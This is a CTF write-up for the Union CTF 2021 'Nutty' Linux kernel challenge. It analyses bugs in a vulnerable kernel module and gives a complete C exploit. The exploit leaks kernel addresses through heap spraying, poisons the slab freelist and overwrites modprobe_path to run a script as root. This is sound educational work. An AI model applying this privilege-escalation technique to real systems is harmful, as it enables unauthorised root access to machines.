Writeups
  • Writeups
  • 2020 Writeups
    • Angstrom
      • Git Good
      • Secret Agents
      • windows of opportunity
      • Califrobnication
      • Patcherman
      • Just Rust
      • No canary
      • WS3
      • Confused Streaming
      • Reasonably Secure Algorithm
      • Defund's Crypt
      • Low-kee
      • Discrete Superlog
      • Wacko Images
      • Shifter
      • Xmas Still Stands
      • Noisy
      • Canary
      • Inputter
      • clam clam clam
      • PSK
      • Taking Off
      • Consolation
      • Wooosh
      • Signal_of_hope
      • One Time Bad
      • Revving up
    • bsidesBOS
      • Binary Exploitation
        • Patches
        • Sea Shells
      • Cryptography
        • Alice and Bob
        • Exodia
        • Fancy Caesar
        • Flag-SP Network
        • Maelstrom
      • Forensics
        • Amnesia
        • Mercury
        • Mobility
        • Patchwork Quilt
        • Spy Cam
      • Misc
        • Tea-mix
        • Swipe
      • Scripting
        • Flushed Revenge
        • Reggae
        • Robot Takeover
      • Steg
        • Dimension 0
        • Saving The World
        • Secret Romance
      • Warmup
        • Give Up
        • Kiddie Pool
        • Play The Harp
        • Where's The Body
        • Baseball
        • Ez Bake Oven
        • Y2K
      • Web
        • Clown Show
        • Yet Another Micro-story Library
    • Crypto CTF
      • Amsterdam
      • One Line Crypto
      • Trailing Bits
      • Gambler
    • Covid19 CTF
      • Sql db 3
      • Web 1 (Something Derpy? Idk)
      • ECB is the best CB
      • Db 2
      • Scouting
    • FWordCTF
      • Pwn
        • Welcome Pwner
        • One Piece Remake
        • Numbers
      • Misc
        • Secret Array
        • Twis Twis Litlle Star
      • Web
        • JAILOO WARMUP
      • Rev
        • Tornado
        • XO
        • Beginner Rev
        • Fibo
      • Crypto
        • Randomness
        • One Part!
        • BDBG
        • Weird RSA
      • OSINT
        • Identity Fraud
      • Bash
        • CapiCapi - bash
      • Forensics
        • NULL
    • Google
      • Reversing
        • Beginner
      • Hardware
        • Basics
      • Crypto
        • Chunk Norris
        • Sharky - Crypto
      • Sandbox
        • Writeonly
    • Hacktivity Con
      • Binary Exploitation
        • Pancakes
        • Statics and Dynamics
        • Space Force
          • Space Force - Binary Exploitation
        • Bullseye
      • Scripting
        • Misdirection
        • Rescue Mission
        • Hashbrown Casserole
        • Flushed
        • Tootsie Pop
      • Crypto
        • OFBuscated
        • Tyrannosaurus Rex
        • Perfect XOR
        • Bon Apettit
        • A E S T H E T I C
      • Steg
        • Cold War
        • substitute face
        • Vencryption
      • Mobile
        • Mobile One
      • Web
        • Lightweight Contact Book
        • Bite
        • Ladybug
      • Forensics
        • Domo Arigato
      • Warm Up
        • Hexgedit
        • Caesar Mirror
        • Internet Cattos
      • Misc
        • Private Investigator
    • Houseplant
      • 11
      • Deep Lyrics
      • Adventure Revisited
      • CH₃COOH
      • Rivest Shamir Adleman
      • Zip-a-dee-doo-dah
      • Pie Generator
      • Ez
      • Groovin and Cubin
      • QR Generator
      • Half
      • Tough
      • Beginner Writeups
      • Spilled Milk
      • Fire-place
      • Survey Writeup: Houseplant 2020
      • Sizzle
      • Post-Homework Death
      • Rainbow vomit
      • Lemon
      • I dont like needles
      • Pz
      • Music Lab
      • Ezoterik
      • Parasite
      • Catography
      • Selfhost all the things!
      • Satan's jigsaw
    • HSCTF
      • Web
        • Broken Tokens
      • Binary Exploitation
        • Pwnagotchi
        • Boredom
      • Reverse Engineering
        • Ice Cream Bytes
        • AP lab: Comp Sci Principles
        • AP Lab: English Language
      • Forensics
        • Meta Mountain
      • Misc
        • My First Calculator
    • NahamConCTF
      • pwn
        • Syrup
        • Conveyor Belt
        • Dangerous
      • Misc
        • Alkatraz
        • Fake File
        • Trapped
        • Awkward
      • Web
        • Official business
        • Localghost
        • Agent-95
        • PHPPhoneBook
        • Time Keeper
      • Osint
        • Tron
      • Crypto
        • Homecooked
        • raspberry
        • docxor
        • Twinning
      • Scripting
        • rotten: caesars
        • Merriam
        • Gnomes
      • poggers
    • Plaid
      • File-system-based strcmp go brrrr
    • RACTF
      • Misc
        • Teleport
        • NS.mov
        • ST.mov
        • Pearl pearl pearl
        • Discord
        • BR.mov
        • Emojasm 2
        • Spentalkux
        • EmojASM
        • Reading Between The Lines
        • Mad CTF Disease
      • OSINT
        • Tree Man
        • Brick by Brick
        • Remote Retreat
        • Suspended Belief
        • Dead Man
        • RAirways
      • Pwn
        • Finches in a Pie
        • Finches in a stack
        • Solved in a flash
        • Puffer Overflow
          • Puffer Overflow
        • Not Really AI
        • A Flash Of Inspiration
          • A Flash of Inspiration
        • Medea
        • Eccentric Encryption Engima
        • Snakes and Ladders
      • Web
        • Entrypoint
        • Admin Attack
        • Collide
        • Baiting
        • Vandalism
        • Quarantine
        • Quarantine - Hidden Information
        • Getting Admin
        • Finding Server Information
        • Insert Witty Name
      • Forensics
        • Access Granted
        • Cut Short
        • Dimensionless Loading
        • Peculiar Packet Capture
        • Disk Forensics Fun
        • A Monster Issue
        • A Musical Mix Up
        • Cheap Facades
      • Crypto
        • B007l3G CRYP70
        • Access=0000
        • B007L36 CRYP70... 4641N
        • Mysterious Masquerading Message.md
        • Really Simple Algorithm
        • Really Speedy Algorithm
        • Really Secret Algorithm
        • 0x Series
        • Really Small Algorithm
    • Redpwn CTF
      • Crypto
        • worst-pw-manager
        • 4k-rsa
        • pseudo-key
        • 12 Shades of Redpwn
        • priminity
        • base646464
        • Alien Transmissions v2
        • itsy bitsy
        • seekrypt
      • Web
        • Panda Facts
        • Static Static Hosting
        • Tux Fanpage
        • Anti textbook
        • Inspector-General
        • Login
        • Static Pastebin
      • Pwn
        • The Library
        • Coffer Overflow
        • Secret Flag
        • Dead Canary
        • Skywriting
      • Rev
        • SmArT-Solver
          • SmArT-Solver
        • Ropes
        • Aall
        • Bubbly
      • Misc
        • CaaSino
        • uglybash
        • Albatross
    • rgbCTF
      • misc
        • ye olde prng
        • Penguins
        • Picking Up The Pieces
        • Differences
        • hallo
        • Adventure
        • insert witty algorithm name here
      • rev|pwn
        • ARM 1
        • LYCH King
        • Time Machine
        • Object Oriented Programming
        • Soda Pop Bop
        • Too Slow
        • sadistic rev 2
        • Advanced Reversing Mechanics 2
        • Sadistic Reversing 1
      • ZTC
        • Ralphie
        • Peepdis
        • Vaporwave1
        • icanhaz
        • vaporwave 3
        • Vaporwave 2
      • web
        • tictactoe
        • type racer
        • keen eye
        • Countdown
        • imitation crab
      • forensics:osint
        • PI 1- Magic in the air
        • Pi 2
        • robins reddit password
        • Space Transmission
        • Insanity Check
      • beginner
        • Joke check
        • A Basic Challenge
        • Pieces
        • Quirky resolution
        • Shoob
        • Name A More Iconic Band
        • fine day
      • crypto
        • Grab your Jisho
        • Shakespeare Play, Lost (and found!)
        • (rgbctf/crypto/e.md)
        • I Love Rainbows
        • Adequate Encryption Standard
        • Occasionally Tested Protocol
        • rubikcbc
        • N-AES
    • Sharky
      • Give away 2
      • Give away 1
      • Give away 0
      • Romance Dawn
      • The hare and the tortoise
    • TJCTF
      • Circus
      • Forensics
        • Cookie Monster
        • Gamer F
        • Ling ling
        • Rap God
        • Hexillology
      • Misc
        • arabfunny
        • TTW
        • Timed
        • Gamer M
        • Zipped up
        • Discord
        • Censorship
        • Jarvis
        • Slicer
      • Reasonably Secure Algorithm
      • Login sequel
      • Seashells
      • Admin secrets
      • Web
        • Sarah Palin Fanpage
        • Circus
        • Login sequel
        • Weak Password
        • Moar Horse 4
        • Gamer W
        • File Viewer
        • Admin secrets
      • Gamer R
      • El primo
      • Crypto
        • home rolled
        • rgbsa
        • difficult decryption
        • Reasonably Secure Algorithm
        • Is this Crypto
        • Titanic
      • Reversing
        • comprehensive2
        • Forwarding
        • Gym
        • ASMR
        • Gamer R
      • Gamer M
      • Sarah Palin Fanpage
      • Zipped up
      • Is this Crypto
      • Pwn
        • OSRS
        • Stop
        • Seashells
        • Cookie Library
        • Tinder
        • El primo
      • Discord
      • Congenial Octo Couscous
      • Titanic
      • Gamer F
      • Censorship
      • Jarvis
      • OSRS
      • Moar Horse 4
      • Weak Password
      • Stop
      • Ling ling
      • Slicer
      • Cookie Library
      • Cookie Monster
      • comprehensive2
      • home rolled
      • Rap God
      • difficult decryption
      • Forwarding
      • rgbsa
      • Gym
      • arabfunny
      • Tinder
      • Timed
      • Gamer W
      • TTW
      • ASMR
      • File Viewer
      • Hexillology
    • Tokyo Westerns CTF
      • sqrt
      • easy-hash
      • Nothing much to see
      • Twin D
    • Zh3r0 CTF
      • Misc
        • Rainbow Hex
        • Find the Covid19 Vaccine
        • Welcome To Phase 2md
        • Welcome To Phase 1
        • Analyse me
        • snakes everywhere
      • Forensics
        • Run Forrest Run
        • PreDestination
        • Snow
          • Snow.md
        • Hidden Music
        • is it a troll???
        • Soundless
        • PreDestination
        • UnRemovable
        • Katycat
        • LSB Fun
        • Good Ol' IE
      • pwn
        • Command1
        • Free flag
        • Help
      • Crypto
        • We are related
        • Dozen Bases
        • Uncipher Me
        • NASA
        • RSA Warmup-Really Small Algorithm
      • Web
        • Web Warmup
        • Google Source Code
      • OSINT
        • NASA
      • Prenote: As all of these challenges were similar, we decided to combine these under one page.
  • 2021 Writeups
    • Union CTF
      • Antistatic
      • Cr0wn Air
      • Human Server
      • Mordell Primes
      • Neo-classical
      • Nutty
      • Why is a raven
Powered by GitBook
On this page
  • Vulnerabilities
  • Create
  • Append
  • Leaking
  • Exploiting the Overflow
  • Exploit
  • Flag: union{nutty_rarfs_pwning_kernelz}

Was this helpful?

Export as PDF
  1. 2021 Writeups
  2. Union CTF

Nutty

Vulnerabilities

There are two vulnerabilities - one in create, one in append. Show and delete are perfectly safe.

Create

You may notice there are two different lengths or sizes the program takes in when creating - content_length and size. To grab your contents data, it uses the read_contents function

static char* read_contents(req* arg){ 
    char* to_read = (char*) arg->contents;
    int content_length = arg->content_length;
    if (content_length <= 0){
        printk(KERN_INFO "bad content length");
        return 0;
    }
    char* res = kmalloc(content_length, GFP_KERNEL);
    copy_from_user(res, to_read, content_length);
    return res;
}

As you can see, it uses kmalloc to get a page from the kernel with content_length being the size, and uses copy_from_user to copy into it. Nothing vulnerable here specifically, however

    nuts[i].size = size;
    nuts[i].contents = kmalloc(size, GFP_KERNEL);
    if (contents != 0){
        memcpy_safe(nuts[i].contents, contents, size);
        kfree(contents);
    }

The program kmallocs a new page for the nut contents, but this one's size is the size parameter. Furthermore, it memcpy's size bytes into it. The contents pointer from read_contents is from a chunk of size content_length, but size bytes are copied from it. If size is greater than content_length, that's an out of bounds read. We will use this later to leak.

Append

In the create function, the size is validated before usage. In the append function, the new size calculated is validated, however the size of the data you are appending is not. This doesn't seem consequential, but due to an error in the read_size function, it is.

static int read_size(req* arg){
    int size = arg->size;
    if (size < 0 || size >= 1024){
        printk(KERN_INFO "invalid size");
        return -EOVERFLOW;
    }
    return size;
}

The program doesn't check if the size outputted from read_size is -EOVERFLOW. Which means, if we send a size such that it is less than 0 or greater than/equal to 1024, it will return -EOVERFLOW as the size. This will be added to the original size of the nut we are appending to, giving the new size.

EOVERFLOW is 75 in the generic linux implementation. This means -75 will be added to get the new size - the new size will be smaller than the old size. Since all of the original data will be copied, and then some from our own contents, this gives oodles of overflow. More specifically - an out of bounds write. More specifically, we get 75 bytes of overflow from the original nut, and an additional -75 & 0x3ff(0x3b5, because of how memcpy_safe ANDs the difference with 0x3ff)

Leaking

In kmalloc-32, we can cause a seq_operations struct to be allocated by opening a /proc/self/stat file. Said structures are freed when we close the file. What we'll want is for the allocation is to have a seq_operations struct right after it. We can achive this by allocating 20 structs(for good measure) and freeing every other one.

int fds[20];
    char contents[2048];
    memset(contents,0x41,32);
    unsigned long buf[24];
    memset(buf,0,sizeof(buf));
    for(int i = 0; i < 10; i ++){
        fds[i] = open("/proc/self/stat", O_RDONLY);
        fds[i + 10] = open("/proc/self/stat", O_RDONLY);
    }
    for(int i = 10; i < 20; i ++){
        close(fds[i]);
    }
    // Ideally, this creates a lot of open spaces right next to seq_operations structs in kmalloc-32
    create(0x60,contents,0x20); // 0
    show(0,buf);
    unsigned long kbase = buf[4] - seq_operations_start;
    printf("[*] Kernel base: %p\n",kbase);

We don't actually need this, but for good measure, the kernel heap can also be leaked. msg_msg structures are very easy to allocate, free and control the size of, making them invaluable for heap spraying. They can be any size from 0x31(controlled by message length) - I decided to target kmalloc-92. For this, a message length of 48 is needed.

We can run msgget, store the qid, and then msgsnd to allocate a msg_msg structure. The beginning of the msg_msg structure has a pointer to the previous structure, so we'll need 2 with a free chunk inbetween.

int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1){
        perror("Msgget failed");
    }
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,'B',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    create(0x60,contents,0x40); // 1, puts another chunk on kmalloc-96
    memset(msgbuf.mtext,'C',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    // kmalloc-96 is now as so
    /*
    Chunk 0(leak data)
    Msg 1
    Chunk 1
    Msg 2
    */
    // We free chunk 1 to create a space right before a msg_msg chunk
    delete(1);
    create(0xc0,contents,0x60); // 1
    show(1,buf);
    // Msg 2 is now in our buffer. It has some kheap pointers, specifically a pointer to Msg 1.
    unsigned long kheap_leak = buf[13];
    printf("[*] Kheap leak: %p\n",kheap_leak);
struct {
  long mtype;
  char mtext[0x30];
} msgbuf;

Now for the final part - gaining the write.

Exploiting the Overflow

Dumping the kmalloc-92 slab, we see the freelist pointers are in a normal order, and are not hardened. Its a singly linked list too, meaning with the overflow we can overwrite a pointer to force kmalloc to return a chunk wherever we want.

I spammed a few chunks to get rid of any possible free chunks in between other chunks. Then, I used pattern.py to generate a pattern which I dumped into the contents before appending. By appending to a chunk which is 0x60 + 75 in length, we get overflow on a chunk which is in kmalloc-92. When we allocate again with both sizes 0x60...

Contents allocated on slab, filled with our data. Controlled pointer at top of freelist
Nut contents allocated at controlled pointer, allocator tries to grab the next pointer for the freelist

When trying to grab the next pointer, it will reach a fault, attempting to access controlled pointer + 0x60. When the fault happens, we can subtract 0x60 and use pattern.py to find that the offset until the controlled pointer is 357.

Exploit path:

Set contents + 357 to the address we want to overwrite at
Create a nut with the contents being the data we wish to write

Now... we have a leak of the kernel base, so where to write?

The easiest place to write to is a symbol in the kernel called modprobe_path. When the kernel tries to resolve how to run a file with an unknown header, it will call the modprobe binary. The path of the modprobe binary is stored in modprobe_path. And, best of all, it'll be run as root.

\xff\xff\xff\xff is pretty much guaranteed to be an unknown header. If we try to run a file consisting of this, the kernel will run modprobe as root. If we've overwritten modprobe_path with the path to a bash script which has some malicious commands.

void modprobe_hax()
{
    // Copied from https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/roooot");
    system("chmod +x /home/user/roooot");
    system("echo -ne '#!/bin/sh\ncp /root/flag.txt /flag.txt; chmod 777 /flag.txt' > /home/user/w\n");
    system("chmod +x /home/user/w");
    system("/home/user/roooot");
    return;
}

/home/user/w will copy the flag to the root directory and make it accessable to all users. All that is needed now is to set modprobe_path to /home/user/w.

After doing this, we can extract the flag.

~ $ ./exploit
./exploit
[*] Kernel base: 0xffffffffb8000000
[*] Kheap leak: 0xffffa07641c7ac60
0xffffffffb944cd40
/home/user/roooot: line 1: ����: not found
~ $ cat /flag.txt
cat /flag.txt
union{nutty_rarfs_pwning_kernelz}

Exploit

#include <fcntl.h>      /* open */
#include <unistd.h>     /* exit */
#include <sys/ioctl.h>  /* ioctl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <linux/ioctl.h>
#include <linux/tty.h>
#include <sys/syscall.h>
#include <assert.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
// Debugged locally with KASLR off
// Kbase - 0xffffffff81000000
// Module base - 0xffffffffc0000000
typedef unsigned long u64;
#define DEVICE_FILE_NAME "/dev/nutty"
unsigned long seq_operations_start = 0x1fa9e0;
unsigned long modprobe_path = 0x144cd40;
unsigned long arb_write = 0xe4605; // mov QWORD PTR[rdx], rsi ; ret
int fd;
struct nut {
    u64 size;
    char* contents;
};

typedef struct req {
    int idx;
    int size;
    char* contents;
    int content_length;
    char* show_buffer;
} req;

struct {
  long mtype;
  char mtext[0x30];
} msgbuf;
int create(int size, char* contents, int content_length){
    req args;
    args.size = size;
    args.contents = contents;
    args.content_length = content_length;
    return ioctl(fd,0x13371,&args);
}
int delete(int idx){
    req args;
    args.idx = idx;
    return ioctl(fd,0x13372,&args);
}
int show(int idx, char* show_buffer){
    req args;
    args.idx = idx;
    args.show_buffer = show_buffer;
    return ioctl(fd,0x13373,&args);
}
int append(int idx, int size, char* contents, int content_length){
    req args;
    args.idx = idx;
    args.size = size;
    args.contents = contents;
    args.content_length = content_length;
    return ioctl(fd,0x13374,&args);
}
void modprobe_hax()
{
    // Copied from https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html
    char filename[65];
    memset(filename, 0, sizeof(filename));
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/roooot");
    system("chmod +x /home/user/roooot");
    system("echo -ne '#!/bin/sh\ncp /root/flag.txt /flag.txt; chmod 777 /flag.txt' > /home/user/w\n");
    system("chmod +x /home/user/w");
    system("/home/user/roooot");
    return;
}
int main(){
    fd = open(DEVICE_FILE_NAME,0);
    if (fd < 0){
        puts("Device file not found.");
        exit(0);
    }
    int fds[20];
    char contents[2048];
    memset(contents,0x41,32);
    unsigned long buf[24];
    memset(buf,0,sizeof(buf));
    for(int i = 0; i < 10; i ++){
        fds[i] = open("/proc/self/stat", O_RDONLY);
        fds[i + 10] = open("/proc/self/stat", O_RDONLY);
    }
    for(int i = 10; i < 20; i ++){
        close(fds[i]);
    }
    // Ideally, this creates a lot of open spaces right next to seq_operations structs in kmalloc-32
    create(0x60,contents,0x20); // 0
    show(0,buf);
    unsigned long kbase = buf[4] - seq_operations_start;
    printf("[*] Kernel base: %p\n",kbase);
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1){
        perror("Msgget failed");
    }
    msgbuf.mtype = 1;
    memset(msgbuf.mtext,'B',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    create(0x60,contents,0x40); // 1, puts another chunk on kmalloc-96
    memset(msgbuf.mtext,'C',sizeof(msgbuf.mtext));
    msgsnd(qid,&msgbuf,sizeof(msgbuf.mtext),0); // Put msg_msg chunk on kmalloc-96
    // kmalloc-96 is now as so
    /*
    Chunk 0(leak data)
    Msg 1
    Chunk 1
    Msg 2
    */
    // We free chunk 1 to create a space right before a msg_msg chunk
    delete(1);
    create(0xc0,contents,0x60); // 1
    show(1,buf);
    // Msg 2 is now in our buffer. It has some kheap pointers, specifically a pointer to Msg 1.
    unsigned long kheap_leak = buf[13];
    printf("[*] Kheap leak: %p\n",kheap_leak);
    // Returns -EOVERFLOW if size is incorrect. -EOVERFLOW 75
    create(0x60,contents,0x60); // 2
    create(0x60,contents,0x60); // 3
    create(0x60,contents,0x60); // 4
    *(long *)(contents + 357) = kbase + modprobe_path;
    strcpy(contents,"exploit"); // make it identifiable so I can find it when debugging
    create(0x60 + 75,contents,0x60 + 75); // 5
    append(5,2048,contents,2048); // Break into kmalloc-96, overflow freelist pointer to modprobe_path
    create(0x60,"/home/user/w",0x60); // Overwrite modprobe
    printf("modprobe_path: %p\n",kbase + modprobe_path);
    modprobe_hax();
}

Flag: union{nutty_rarfs_pwning_kernelz}

PreviousNeo-classicalNextWhy is a raven

Last updated 4 years ago

Was this helpful?

If we, for example, send a content_length of 0x20 and a size of 0x60, 0x40 bytes outside of the first contents chunk will be read. I used to find a list of useful kernel structures.

I copied my modprobe_hax function from fizzbuzz's hashbrown writeup() and changed the commands to fit.

this
https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html